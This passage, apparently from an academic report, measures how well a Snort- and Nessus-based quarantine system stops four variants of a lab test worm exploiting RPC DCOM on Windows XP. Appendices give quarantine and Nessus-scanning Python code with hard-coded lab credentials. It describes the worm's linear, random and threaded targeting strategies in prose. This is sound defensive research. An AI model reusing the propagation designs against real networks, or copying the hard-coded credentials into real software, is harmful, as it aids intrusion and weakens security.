Windows XP Service Pack 1, so that they would be vulnerable to the RPC 
DCOM exploit used by the test worm. After each VM was fully configured, 
a VMware snapshot was taken so that they could be easily reverted to a pre-
infection state. Each virtual machine was bridged directly to a physical 
network interface on the server and each network interface was connected to 
a switch port.  
7.3. Testing and Simulations 
7.3.1. After the network was fully created, a final round of development and 
debugging tests were run. These helped to iron out any bugs or problems in 
the worm, its logging facilities, the quarantine system, and the network 
infrastructure. Running these tests prevented bugs from interfering with the 
final set of simulations and data collection. These initial tests also gave a 
better idea of the time needed for final simulations. Initially tests would run 
Figure 7.1 - Test Network Diagram 
for two hours, to give the worm enough time to spread across the entire 
network and stabilize. It was found that, in most cases, this stabilization took 
less than twenty minutes. For this reason the final simulations were reduced 
from two hours to thirty-minute runs.  
7.3.2. Sixteen final simulations were run to collect data. There are four variations 
of the quarantine system to be tested: No Protection, Snort Only, Nessus 
Only, and Full System. Each of these quarantine variations was tested 
against each variation of the test worm. The four types of worms were 
different in the way that they spread: Threaded Random (Test.TR), Threaded 
Linear (Test.TL), Non-Threaded Random (Test.NTR) and Non-Threaded 
Linear (Test.NTL). Using no protection system established a baseline 
propagation speed of each type of worm.  The other three variations of 
quarantine system determined the effectiveness of each sensor on its own, as 
well as the overall effectiveness of the system. The four types of worm were 
chosen to provide a variation in targeting method, while still keeping the 
worm simple and not changing the whole structure of the worm. By making 
the threaded variants it allowed the worm to spread to many more targets 
simultaneously. This is explored in more detail in the worm documentation 
above.  
7.3.3. To automate each simulation, another Python script was written which 
reverted the test network to a pre-infection state and began each test. This 
script iterated over a list of tests. For each test it first cleared the network and 
reset the VLANs on the switch, it then ran the simulation. When finished the 
script collected and archived logs and reset the network in preparation for 
the next test. All switch ports are reverted via a method in the netcontrol 
module that restores all ports to VLAN 1. To revert the VMs, the script uses 
the SysInternals utility “psexec” and the VMware command line utility 
“vmrun” and tells each VM to revert to its pre-infection snapshot.  
7.4. Data Collection and Parsing 
7.4.1. To collect data during each simulation logs were kept from each worm and 
from the quarantine system. All worm logs were sent via syslog messages to 
a central logging server. After each simulation this log was archived and 
renamed based on which test it corresponded to. The quarantine log was also 
archived and renamed. These two logs are the primary data collection and 
stored all information on worm spread and host quarantining with 
timestamps.  
7.4.2. A Python script was written to parse these logs and generate graphs. A 
node-graph was generated for each test showing the path of transmission of 
the worm across the network. The node-graph was created by the command 
line utility “dot” which is part of the graphing package GraphViz. The 
Python script parsed out spread events and times from the worm log file and 
created a .gv file that was passed into the “dot” command line utility to 
generate a JPG image. The Python script also parsed the quarantine log and 
added a blue or red bar to each host in the graph, which ended when that 
host was quarantine or blocked. A population line graph was also created in 
a similar way. A Python script parsed the worm log and counted the number 
of infected machines as time progressed. When a new spread event happened, 
a new point was plotted on a graph with the time and new total population. 
This graph was plotted using the open source utility “gnuplot”. The Python 
script generated a .p file and passed it into gnuplot to create a PNG image 
file of the line graph.  
8. Simulation Results 
8.1. To compare the results, the four types of system are tested by each of the four 
different types of worm. First the worms were tested on the network with No 
Protection to establish an expected baseline behavior of each worm. The 
individual Snort and Nessus sensors on their own were tested next against each 
worm variant. This helped to determine the effectiveness of each sensor 
independently. Finally, the Full System test was run with both sensors and each 
of the four worms. The initially infected host for each test was 192.168.1.9. This 
will be referred to as Host-0.  
  
8.2. No Protection 
8.2.1. The Test.NTL worm spread from Host-0 to 192.168.1.7 at 0:00:39. The 
worm then spread to the all but one of the remaining hosts incrementally 
from there over the next two minutes. Twenty-three out of the twenty-four 
hosts were infected by the time 0:02:51. The final host was not infected until 
0:12:36 into the test. The second host to be infected was responsible for the 
infection of all but one of the subsequent infections. (Figure 15.1) 
 Figure 8.1 – No Protection – Test.NTL 
8.2.2. The Test.NTR worm spread from Host-0 to three hosts, two of which were 
infected in the first five minutes. Each infected host then spread to three or 
four more hosts. The last host to be infected in this test was at 0:29:07. 
Twenty-two out of the twenty-four hosts on the network were infected in this 
test. (Figure 15.2) 
  Figure 8.2 - No Protection Test.NTR 
8.2.3. The Test.TL worm spread from Host-0 to two other hosts within fifty 
seconds. Each infected host then spread to a few more systems. The host 
with IP address 192.168.1.20 infected the most hosts in this test by infecting 
seven hosts, one of which went on two infect two more. In this test, the 
worm infected twenty-three of the twenty-four hosts. The last host was 
infected at 0:24:27. (Figure 15.3) 
  Figure 8.3 - No Protection - Test.TL 
8.2.4. The Test.TR worm spread from Host-0 to three hosts quickly, then one 
more host toward the end of the test. The first three hosts were infected in 
the first forty seconds of the test. One of those four hosts went on to infect 
the rest of the hosts on the network. Each new host infected went on to infect 
two or three more hosts. Twenty-two of the hosts were infected in the first 
0:01:06 of the test, the last host to be infected was at 0:03:52. One host was 
not infected at all in the 30-minute test.  (Figure 15.4) 
 Figure 8.4 - No Protection - Test.TR 
8.3. Nessus Only 
8.3.1. The Test.NTL worm test infected nine hosts total. Host-0 was able to 
spread to 192.168.1.7, which then spread to seven other hosts before the 
Nessus scan completed and was able to begin quarantining hosts. All twenty-
four hosts were quarantined. The Nessus scan took 0:02:13, and the first host 
was quarantined at 0:02:14. The quarantine system took about fifteen 
seconds to quarantine every machine, whether it was infected or not. One 
machine (192.168.1.6) wasn’t detected as vulnerable by the first scan. It was 
not detected until 0:11:28 after the second scan. (Figure 15.5) 
 Figure 8.5 - Nessus Only - Test.NTL 
8.3.2. Test.NTR infected zero machines when tested with Nessus only. All 
network hosts were quarantined. The first scan completed at 2:16 and 
quarantined all machines by 2:34. After the infection of Host-0, the worm 
infected no more hosts. (Figure 15.6) 
 
Figure 8.6 - Nessus Only - Test.NTR 
8.3.3. The Test.TL test infected twenty-two machines by 16:00. The first 
machine was infected after two seconds. Host-0 infected twelve machines.  
One of these “second-generation” hosts infected another seven machines, 
and three other machines were infected by the other eleven. The first scan 
finished at 0:05:19 but did not detect any vulnerabilities. The second scan 
completed at 0:12:15 and quarantined seven hosts. Thirteen hosts were 
quarantined total, with the last machine quarantined at 0:22:31. Not all 
computers were quarantined. (Figure 15.7) 
 Figure 8.7 - Nessus Only - Test.TL 
8.3.4. For the Test.TR test, the first infection occurred after 2 seconds, and the 
last at 0:04:36. A total of twenty-two machines were infected.  The Nessus 
scan ended at 2:34, only quarantining one computer of twenty-two infected 
at that point. Host-0 infected four machines, and each subsequently infected 
three to four machines each. (Figure 15.8) 
 Figure 8.8 - Nessus Only - Test.TR 
8.4. Snort Only 
8.4.1. The Test.NTL worm took 58 seconds to spread from Host-0 to 
192.168.1.7. The Snort sensor detected the exploit and blocked Host-0. Fifty 
seconds later, 192.168.1.7 spread to 192.168.1.8 and both machines were 
blocked. The quarantine system chased the worm, and caught up after 3 
machines were infected. No other infections or quarantines happened after 
the third block event. (Figure 15.9) 
 Figure 8.9 - Snort Only - Test.NTL 
8.4.2. In the Test.NTR test, after initial infection, at 0:00:49, Host-0 attempted to 
spread to an invulnerable host and was quarantined. No other hosts were 
infected or quarantined over the next 29 minutes. (Figure 15.10) 
 Figure 8.10 - Snort Only - Test.NTR 
8.4.3. The Test.TL worm attempted to spread from Host-0 to 192.168.1.18. Both 
hosts were quarantined before the worm fully spread, when the exploit code 
was detected by Snort. (Figure 15.11) 
 Figure 8.11 - Snort Only - Test.TL 
8.4.4. The Test.TR test results behaved in the same way as the Test.TL test. The 
only difference was the host that was attacked first. 192.168.1.13 was 
exploited by Host-0 and blocked by the Snort sensor before the worm code 
could be transmitted across the network. This resulted in both hosts being 
blocked and the worm contained 4 seconds into the test. The remaining 29 
minutes passed without any further events. (Figure 15.12) 
 Figure 8.12 - Snort Only - Test.TR 
8.5. Full System 
8.5.1. In the Test.NTL test, after initial infection of Host-0, the worm 
unsuccessfully attempted to spread to another computer but was blocked 
after 52 seconds.  No other machines were blocked, quarantined, or infected 
throughout the simulation. It is notable though that all three Nessus scans 
failed to detect any vulnerable hosts, even though twenty-four vulnerable 
hosts existed on the network. (Figure 15.13) 
 Figure 8.13 - Full System - Test.NTL 
8.5.2. The Test.NTR worm, at 0:01:12, attempted to spread from Host-0 to an 
invulnerable system and the quarantine system blocked Host-0. Between 
0:12:34 and 0:21:56, twenty machines were quarantined by Nessus scans. 
There were no further infections and three machines were not quarantined or 
infected. (Figure 15.14) 
 Figure 8.14 - Full System - Test.NTR 
8.5.3. 2 seconds into the Test.TL test, Host-0 spread to a second computer; both 
were blocked 10 seconds later by snort.  All but one of the remaining 
computers were quarantined between 0:02:18 and 0:21:39.  One computer 
remained unaffected and twenty of the twenty hosts were protected from 
infection. (Figure 15.15) 
 Figure 8.15 - Full System - Test.TL 
8.5.4. In the Test.TR test, initial infection spread from Host-0 to 192.168.1.11 
and to 192.168.1.28. Both Host-0 and 192.168.1.11 were blocked 
immediately and 192.168.1.128 was blocked 2 seconds later. All three hosts 
were blocked by 0:00:10 seconds. The remaining twenty-one machines were 
quarantined between 0:12:29 and 0:12:45. No more machines were infected 
after 0:00:10. (Figure 15.16) 
 Figure 8.16 - Full System - Test.TR 
9. Population Growth Results 
9.1. The Test.NTL worm population grew quickly from one host to twenty-two hosts 
in the first three minutes. The worm took nearly a minute to spread from Host-0 
to the first and second hosts. After 0:01:17, the propagation spread accelerated 
and in the next minute seventeen hosts were infected. The last two hosts were 
infected over the last twenty-seven minutes. (Figure 16.1) 
 
  
Figure 9.1 - Worm Test.NTL 
9.2. The Test.NTR worm population grew slowly for the first nine minutes of the test, 
growing from one to four hosts. After 0:09:20 the population began to grow 
quickly to the next nine hosts, then from there it grew steadily to reach a final 
population of twenty-two hosts. (Figure 16.2) 
 
  
Figure 9.2 - Worm Test.NTR 
9.3. The Test.TL worm population grew very quickly from the start, the first infection 
was three seconds into the test and eighteen of the hosts were infected in the first 
three minutes. The final population of twenty-three was reached after another 
twenty-one minutes. (Figure 16.3) 
 
  
Figure 9.3 - Worm Test.TL 
9.4. The Test.TR worm population grew from one infected host to twenty-two 
infected hosts by 0:01:06. The last host was infected about three minutes later. 
(Figure 16.4) 
 
10. Simulation Analysis 
10.1. No Protection 
10.1.1. The Test.NTL worm spread to 95.83% of the total population within three 
minutes. The worm was able to spread so quickly because of the layout of IP 
addresses on the network. The worm targets hosts by beginning at the first IP 
address on the subnet and incrementing through the subnet sequentially. This 
was uniquely effective against the test network because the DHCP server 
assigns IP addresses sequentially from the beginning of the subnet. These 
two configuration anomalies worked together to allow the worm to spread 
with almost perfect success to all of the vulnerable systems on the network.  
10.1.2. The Test.NTR test spread in a more predictable way across the network. 
Because the worm targeted hosts randomly, it spread evenly, though a bit 
slower than the linear worms. This worm demonstrates the epidemic spread 
that is more prominent in flash Internet worms. As the worm spreads to a 
few hosts, those hosts then go on to spread to even more. This is the effect 
that the quarantine system is expected to be most effective against.  
Figure 9.4 - Worm Test.TR 
10.1.3. The Test.TL worm should be a slightly faster version of the Test.NTL 
worm. Because the worm is threaded, there are many instances of the worm 
scanning the network at any given time. The Test.TL worm had to be altered 
slightly so that each thread scans a different section of the subnet. If this 
weren’t done, all of the threads would scan the same targets at the same time, 
and threading the worm would not be beneficial at all. The threaded worms 
were configured to spawn fifteen threads, which scanned seventeen hosts 
each. Because the DHCP server assigned IP addresses to the beginning of 
the network, the first two threads were the only ones that scanned vulnerable 
hosts. This explains why the Test.TL worm was about as fast as the 
Test.NTL worm, even a little slower.  
10.1.4. The Test.TR worm was much more able to take advantage of 
multithreading because it was more suited to the random targeting. The 
Test.TR worm is the fastest propagation for this reason. As previously stated, 
the random worm displays the more realistic epidemic spread. This is 
intensified by threading the worm because there are more random IPs being 
targeted at a given time.   
10.2. Nessus Only 
10.2.1. With the Nessus sensor protecting the network, the Test.NTL worm was 
very effective. As seen in the baseline tests, the Test.NTL worm variant 
spreads very quickly due to the placement of IP addresses by the DHCP 
server. This allowed the worm to spread to nine hosts before the Nessus scan 
finished at 0:02:14. Once the scan was complete, all of the hosts were 
quarantined and prevented the worm from spreading further. This shows that 
the Nessus sensor is effective, but limited by the scan duration.  
10.2.2. The Test.NTR simulation with only the Nessus sensor was perfectly 
successful. As previously noted in the last section, the Nessus scanner is 
limited by its scan duration. In the baseline scan with the Test.NTR worm, it 
took a while for the worm to find a vulnerable host. The first host was 
infected in about one minute and the second after four minutes. When the 
worm was run with the Nessus scanner protecting the network, the worm 
was unable to randomly choose any vulnerable targets before the Nessus 
scan was complete. This allowed the entire set of vulnerable hosts to be 
quarantined before the worm could spread at all.  
10.2.3. The Test.TL worm simulation shows two downfalls of the Nessus scanner. 
The primary problem in this test is that the Nessus scan failed to detect any 
vulnerable hosts on the first scan. This was a major problem, specifically 
because the Test.TL worm is very fast. In the baseline tests the Test.TL 
worm was only slightly faster than the Test.NTL worm, but the Test.TL 
worm is able to spread to a larger portion of the network in the first two and 
a half minutes. This is significant because the Nessus scans usually take 
about two and a half minutes each. Test.TL was able to spread to twenty 
hosts in that time. This speed was the second downfall of this simulation. 
Even if the Nessus scan had operated properly and not failed, twenty hosts 
on the network would have been infected before it completed. That is 80% 
of the total population. With the scan failure the worm was able to infect 
91.66% of the network. The remaining two hosts were quarantined after the 
second scan completed successfully. It is likely though that the worm 
targeted them and the worm was unable to spread to them for other reasons.  
10.2.4. The Test.TR simulation with only Nessus was completely overcome by 
the speed of the worm. The Nessus scan finished and quarantined only 
192.168.1.17.  The next scan completed with no results. The third scan 
completed at 0:22:33 and quarantined 192.168.1.7. This scan again shows 
the two failings of using only a Nessus sensor to protect the network. The 
Nessus scan fails to perform properly on all three of the scans of this 
simulation. If the scans had performed properly, the worm spread was so fast, 
spreading to 87.5% of the population before the first Nessus scan completed. 
Two of the three remaining hosts were not infected at all, and only four hosts 
were quarantined at all.  
10.3. Snort Only 
10.3.1. The Test.NTL test with the Snort sensor active was a drastic improvement 
over any other tests thus far. The Snort sensor detected the spread event from 
Host-0 to 192.168.1.7 and quarantined Host-0 immediately. The simulation 
logs show that Host-0 actually attempted to exploit 192.168.1.6 at 0:00:46 
but failed to spread. The Snort sensor did not detect this exploit event, as it 
should have. Eleven seconds later, Host-0 spread to 192.168.1.7 and Host-0 
was quarantined immediately. The quarantine system should have blocked 
both hosts at this point. This can be explained based on the way the 
quarantine system determines whether an exploit event culminates in a full 
worm spread. The Snort sensor detects both the exploit event, and the TFTP 
traffic that follows from the exploited machine. The quarantine system must 
receive these two Snort events sequentially though. The system only buffers 
one alert after an exploit alert. In this case it is possible that another 
unrelated Snort alert was generated between the exploit alert and the TFTP 
alert. This could cause the quarantine system to only block the sending host. 
Fifty seconds later 192.168.1.7 spread to 192.168.1.8 and both hosts were 
blocked. The quarantine system worked as expected and was able to block 
only the infected hosts. The Snort sensor only takes action against hosts that 
have “misbehaved”. Consequently, only the three hosts were blocked and the 
rest were left untouched.  
10.3.2. The Test.NTR worm tried to exploit from Host-0 to 192.168.1.72. This 
host was invulnerable to the exploit and was not affected. The exploit code 
traversing the network triggered a Snort alert and caused Host-0 to be 
blocked immediately. At this point Host-0 was the only infected host and 
was unable to communicate or spread to any other hosts on the network. The 
quarantine system performed perfectly in this test; blocking Host-0 before it 
could spread and not blocking any hosts unnecessarily.  
10.3.3. The Test.TL simulation showed the quarantine system’s capability against 
a threaded worm. The worm scanned four hosts before it found 192.168.1.18 
and exploited it. Host-0 successfully exploited the target and the target 
responded with TFTP traffic. The Snort sensor caught both actions and the 
quarantine system immediately blocked them both. All of these events took 
place within the first four seconds of the simulation. The worm was 
prevented from spreading further. For the Snort sensor to work, the worm 
must show itself on the network and must attempt to exploit a target. If that 
first target is vulnerable, the worm will successfully spread and the Snort 
sensor will block both hosts. If the target is not vulnerable, the exploit code 
will trigger a Snort alert and the quarantine system will watch for the TFTP 
traffic. When the TFTP traffic is not seen, the quarantine system will only 
block the sending host.  
10.3.4. The Test.TR simulation resulted exactly the same as the Test.TL 
simulation. Host-0 scanned three targets and exploited 192.168.1.13 after 
three seconds. The quarantine system blocked both Host-0 and 192.168.1.13 
by 0:00:04.  
10.4. Full System 
10.4.1. The Test.NTL simulation combined both the Snort sensor and the Nessus 
scanner. Host-0 attempted to spread to 192.168.1.6 after fifty-two seconds. 
192.168.1.6 was invulnerable and did not respond to the exploit, so the Snort 
sensor only blocked Host-0. The Nessus scanner ran three times over the 
thirty-minute test and each scan failed to detect any vulnerable systems on 
the network. The network in fact had twenty-four hosts that were vulnerable 
and should have been detected by Nessus. Without the Snort sensor in this 
simulation, the worm would have likely spread unchecked. This is strong 
evidence for having both sensors active in the quarantine system.  
10.4.2. The Test.NTR worm in the Full System test did not spread beyond Host-0. 
Host-0 attempted to exploit 192.168.1.84 and was blocked in the process. 
The first Nessus scan returned with no results but the second scan detected 
the vulnerability in eighteen out of twenty-three vulnerable systems. Two 
more vulnerable systems were detected in the third scan and three hosts were 
missed by the Nessus sensor altogether.  
10.4.3. The Test.TL test resulted in two hosts blocked and twenty-one hosts 
quarantined. The threaded versions of the worm in past tests exhibit a higher 
capability of successfully exploiting vulnerable systems as the first target. 
This proved true in this test as well, Host-0 scanned six hosts before it 
successfully targeted 192.168.1.18 and spread to it. The quarantine system 
detected this spread and quarantined Host-0 and 192.168.1.18 at 0:00:04 and 
0:00:12 respectively. The Nessus scanner went on to detect and quarantine 
seventeen hosts after the first scan and three more hosts after the second scan. 
One host was left untouched by the protection system.  
10.4.4. The Test.TR worm spread from Host-0 to 192.168.1.11 at 0:00:02 and 
exploited 192.168.1.28 at 0:00:03. All three hosts were blocked seven 
seconds later. The Nessus scanner failed to detect anything from the first 
scan but successfully quarantined every other host on the network after the 
second scan.  
11. Population Growth Analysis 
11.1. With no protection the Test.NTL worm population growth dynamic should 
be predictable by an exponential growth formula. The worm will spread to a 
second host and both of them then go on to spread to two more hosts. The 
population will grow from one, to two, to four, and will continue to grow 
exponentially. This test initially appears to match the curve of an exponential 
graph, but by looking closer at the spread timeline you see that after Host-0 
spreads to the second host, that second host spreads to the rest of the network. 
Because there is really a single infection vector, it is not taking advantage of an 
exponential epidemic spread. This is due to two unique characteristics of the 
simulation. Because the DHCP server sequentially assigns IP addresses and the 
worm targets hosts linearly, the second host infected was able to spread quickly 
across the network before the other hosts had the opportunity to begin scanning. 
Also because all infected systems spread in the exact same pattern, later systems 
will be targeting hosts that have already been infected or are invulnerable.  
11.2. The Test.NTR worm displayed a much more predictable epidemic spread 
that more closely resembled an exponential spread. In this test having more 
infected hosts scanning enhanced the likelihood that vulnerable systems would 
be infected. This worm targeted new hosts randomly. Unlike the linear worms, it 
was able to take advantage of those higher infection numbers and epidemic 
spread. The curve never reached a “flash point” where it spread to the rest of the 
network instantly. This is due to the overhead that the worm has between 
infection and when it can begin scanning. It is also difficult to fully determine a 
mathematical growth pattern with so few data points.  
11.3. The Test.TL and Test.TR worms spread extremely quickly across the 
network. The population grew nearly to the maximum population in a few 
minutes. The Test.TL worm gained five more hosts over the next fifteen minutes. 
The Test.TR worm reached its maximum population by four minutes into the 
simulation.  
11.4. Because the test network only contains twenty-four hosts, the worm 
spreads much too quickly to see an exponential curve expressed in the data. All 
of the data from these tests are relatively linear because of the speed of the worm 
and the limits of the test network. On a much larger network, the worm could be 
expected to spread slowly to start and accelerate until it reaches a nearly vertical 
growth line. On a bounded network, the worm would continue to grow at this 
rate until all vulnerable hosts are infected. On an unbounded network it would 
eventually plateau as each host has a harder and harder time finding vulnerable 
hosts. This ending curve would match a logarithmic function.  
12. Quarantine System Performance 
12.1. The quarantine system, when fully enabled was very effective against all 
four variants of the Test worm. In the full system tests, the worm was able to, at 
most, spread from the initial infection to two other systems before it was stopped 
completely. Of the four full protection simulations, 50% of them prevented the 
worm from spreading beyond Host-0. Because the two threaded variants of the 
worm were better able to target vulnerable hosts for the first spread, these two 
worms were able to spread from Host-0 to a second host. In the Test.TR variant 
the worm was caught by the system as it spread to a third host. Fully enabled, 
over the course of all four tests, the system was able to protect 89/96 hosts, or 
92.7% of the vulnerable system. This is an improvement of from 95.8% spread to 
7.3% spread. 
12.2. The Snort sensor was extremely effective in all of its tests. It was able to 
catch spreading worms and block the infection before the worm spread to the rest 
of the network. Of the eight simulations that were run with the Snort sensor 
turned on, 37.5% of them were caught before any spread events occurred, 37.5% 
of them were caught after a single spread, and 25% of them resulted in three 
infected hosts. Over all four Snort only tests, infection population was reduced 
from 95.8% to 8.3%.  
12.3. Although the Nessus scanner had problems during a few tests, it was 
valuable. In a hypothetical real world scenario, when a new worm is released, it 
would be important to separate the vulnerable systems before the worm reaches 
them. The Nessus scan was most effective when the scan had time to complete 
and quarantine the hosts before the worm could spread. Further testing could 
verify this by activating the quarantine system with some time to scan before the 
worm was released could have explored this. This would likely completely 
mitigate the first problem of timing by allowing Nessus to scan the network and 
take action. The second Nessus problem was unreliability. This could be due to 
problems with the Nessus plugins that detect the RPC-DCOM vulnerability or 
possibly a consequence of higher traffic on the network as the worm scans.  To 
mitigate this problem, the cause would have to be determined and rectified. If it 
is in fact a plugin issue, Tenable could be notified to correct the problem, or local 
security engineers could modify the plugin themselves. If high traffic caused the 
failure; Nessus could potentially be configured with a longer timeout for plugin 
responses, or network upgrades could provide more bandwidth. If this system 
was running on an uninfected network, this spread traffic would only be a 
problem during a flash worm attack. Before such an attack, Nessus would 
presumably work without issue and be able to properly identify and quarantine 
vulnerable systems.  
12.4. Overall it can be easily concluded that the use of such a quarantine system 
has a drastic slowing effect on the propagation of a computer worm. Such a 
system could be valuable on a consumer Internet Service Provider’s network 
because it does not require any configuration on the end hosts. By implementing 
such a system, flash worm infections could be slowed or stopped before they 
reach a critical mass and could potentially prevent disastrous consequences of 
worm attack.  
13. Future Research 
13.1. The next step for this research is to scale it up from the small network tests 
in this paper to a much larger network. It would require significant development 
to expand the quarantine system from its current version, which works on a 
single switch, to a version that would handle multiple switches. On a larger scale 
it would be possible to integrate hundreds of mixed systems, both vulnerable and 
invulnerable to the worm exploit. A larger network and more tests would provide 
enough population growth data to properly plot the growth and match a true 
epidemic spread model.  
13.2. More future research would be to test the quarantine system against 
worms in the wild. This would be beneficial to better test its effectiveness against 
worms that try to evade intrusion detection or exploit unique vulnerabilities. 
Testing the network against multiple worms at the same time would also help test 
the system. 
13.3. Before a quarantine system such as this can be put into production on a 
large scale it must be proven to be cost effective. The effectiveness of the system 
has been shown with this research, but a cost-benefit analysis that weighs the risk 
associated with worm damage against the cost of the system  would be valuable.  
13.4. Finally, as mentioned in the previous section, it would be good to find 
how beneficial the Nessus system is, when activated before the worm is released. 
This would possibly improve the performance of Nessus by removing one of the 
two problems with the Nessus sensor.  
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15. Appendix A – commandcenter.py 
import nessusscan, time, threading, sys, queue, snortmonitor, netcontrol, 
commandcenter 
from time import strftime 
 
running = False 
debug = False 
 
def logprint(log): 
print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 
 
def main(): 
thread = commandcenter.Commander(True, True) 
thread.daemon = True 
thread.start() 
time.sleep(65) 
 
class Commander(threading.Thread): 
def __init__(self, snort, ness): 
self.snort = snort 
self.ness = ness 
threading.Thread.__init__(self) 
 
def run(self): 
 
serv = snortmonitor.Server() 
serv.daemon = True 
if(self.snort): 
logprint("Command: Starting Snort Monitor:") 
serv.start() 
 
nessus = nessusscan.NessusScanner() 
nessus.daemon = True 
if(self.ness): 
logprint("Command: Starting Nessus Scanner") 
nessus.start()  
 
queuemonitor = netcontrol.Monitor(serv.infected, 
nessus.quarantinequeue) 
queuemonitor.daemon = True 
logprint("Command: Starting netcontrol") 
queuemonitor.start() 
 
time.sleep(30*60) #run 30 min test 
netcontrol.listinfected() 
if(self.snort): 
logprint("Command: Stopping Snort") 
serv.stop() 
if(self.ness): 
logprint("Command: Stopping Nessus") 
nessus.stop() 
logprint("Command: Stopping Netcontrol") 
queuemonitor.stop() 
logprint("Command: Waiting for threads to stop") 
 
 
if(__name__ == '__main__'): 
main() 
16. Appendix B – nessusscan.py 
import sys, http.client, urllib, threading, time, queue 
from xml.dom import minidom 
from time import strftime 
 
#Globals 
nessusserver = "192.168.1.140:8834" 
target = "192.168.1.0/24" 
policy = "1" 
debug = False 
headers = {"Content-type": "application/x-www-form-urlencoded", "Accept": 
"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"} 
 
def logprint(log): 
print(strftime("%m-%d-%Y %H:%M:%S - ") + log ) 
fp = open("commandlog.txt", "a") 
fp.write(strftime("%m-%d-%Y %H:%M:%S - ") + log +"\n") 
fp.close() 
 
def login(nessuscon): 
#Login and get token 
params = urllib.parse.urlencode({"login": "tjt", "password": 
"tuftus", "seq": "1"}) 
nessuscon.request("POST", "/login", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
token = 
minidom.parseString(data).getElementsByTagName("token")[0].firstChil
d.data 
return token 
 
def scan(nessuscon): 
#Create scan and get scan uuid 
params = urllib.parse.urlencode({"seq": "2", "scan_name": "DCOM", 
"policy_id": policy, "target": target}) 
nessuscon.request("POST", "/scan/new", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
if (debug): 
logprint("Starting scan of %s with policy number %s" % (target, 
policy)) 
 
scanuuid = 
minidom.parseString(data).getElementsByTagName("uuid")[0].firstChild
.data 
return scanuuid 
 
def scanwait(nessuscon): 
#Wait for scan to finish 
if (debug): 
logprint("Waiting for scan to finish") 
while True: 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/scan/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
remaining = 
len(minidom.parseString(data).getElementsByTagName("scan")) 
if(remaining == 0): 
if (debug): 
logprint("Finished") 
break 
 
def stopscans(): 
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 
 
token = login(nessuscon) 
headers["Cookie"] = "token="+token 
 
#Stop all scans 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/scan/list", params, headers) 
 
response2 = nessuscon.getresponse() 
data = response2.read() 
remaining = 
len(minidom.parseString(data).getElementsByTagName("scan")) 
if(remaining > 0): 
for scan in 
minidom.parseString(data).getElementsByTagName("uuid"): 
scanuuid = scan.firstChild.data 
 
params = urllib.parse.urlencode({"seq": "2", 
"scan_uuid": scanuuid}) 
nessuscon.request("POST", "/scan/stop", params, 
headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
logout(nessuscon) 
 
def deletereports(): 
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 
 
token = login(nessuscon) 
headers["Cookie"] = "token="+token 
 
#Get last report ID 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/report/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
for report in 
minidom.parseString(data).getElementsByTagName("name"): 
#Delete report from server 
params = urllib.parse.urlencode({"seq": "2", "report": 
report.firstChild.data}) 
nessuscon.request("POST", "/report/delete", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
nessuscon.close() 
 
def getreport(nessuscon): 
#Get last report ID 
params = urllib.parse.urlencode({"seq": "2"}) 
nessuscon.request("POST", "/report/list", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
lastReport = 
minidom.parseString(data).getElementsByTagName("name")[0].firstChild
.data 
if(debug): logprint("Nessus: Retrieving report") 
 
#Download last report 
params = urllib.parse.urlencode({"seq": "2", "report": lastReport}) 
nessuscon.request("POST", "/file/report/download", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
report = data 
 
#Delete report from server 
params = urllib.parse.urlencode({"seq": "2", "report": lastReport}) 
nessuscon.request("POST", "/report/delete", params, headers) 
response2 = nessuscon.getresponse() 
data = response2.read() 
 
return (report, lastReport) 
 
def logreport(report, lastReport): 
#Save report to file 
logfile = open("C:\\quarantine\\nessuslogs\\"+lastReport+".log", 
"w") 
logfile.write(str(report, "utf-8")) 
logfile.close() 
 
def parsereport(report): 
#Parse report into 3 dicts, severity 1-3, containing IPs and 
pluginIDs 
log = minidom.parseString(report) 
 
reporthosts = log.getElementsByTagName('ReportHost') 
if(debug): logprint("Nessus: Parsing report") 
 
s1 = dict() 
s2 = dict() 
s3 = dict() 
 
for host in reporthosts: 
reportitems = host.getElementsByTagName('ReportItem') 
for item in reportitems: 
if(item.attributes['severity'].value == '3'): ## Find 
severity level 3 plugins 
if host.attributes['name'].value in s3: 
s3[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 
else: 
s3[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 
if(item.attributes['severity'].value == '2'): ## Find 
severity level 2 plugins 
if host.attributes['name'].value in s2: 
s2[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 
else: 
s2[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 
if(item.attributes['severity'].value == '1'): ## Find 
severity level 1 plugins 
if host.attributes['name'].value in s1: 
s1[host.attributes['name'].value].append(item.attributes['pluginID']
.value) 
else: 
s1[host.attributes['name'].value] = 
[item.attributes['pluginID'].value] 
 
# logprint parsed report 
if(debug): 
if (len(s1) > 0): 
logprint("\n\n### Severity 1 Items ###") 
for line in s1.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 
 
if (len(s2) > 0): 
logprint("\n\n### Severity 2 Items ###") 
for line in s2.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 
 
if (len(s3) > 0): 
logprint("\n\n### Severity 3 Items ###") 
for line in s3.items(): 
logprint("%s: \n %s" % (line[0], line[1])) 
return (s1, s2, s3) 
 
def logout(nessuscon): 
nessuscon.close() 
 
 
def startscan(): 
try: 
logprint("Nessus: Beginning new scan of %s" % target) 
nessuscon = http.client.HTTPSConnection("192.168.1.140:8834") 
 
token = login(nessuscon) 
headers["Cookie"] = "token="+token 
 
 
# stopscans(nessuscon) 
# logout(nessuscon) 
 
scan(nessuscon) 
scanwait(nessuscon) 
reportinfo = getreport(nessuscon) 
report = reportinfo[0] 
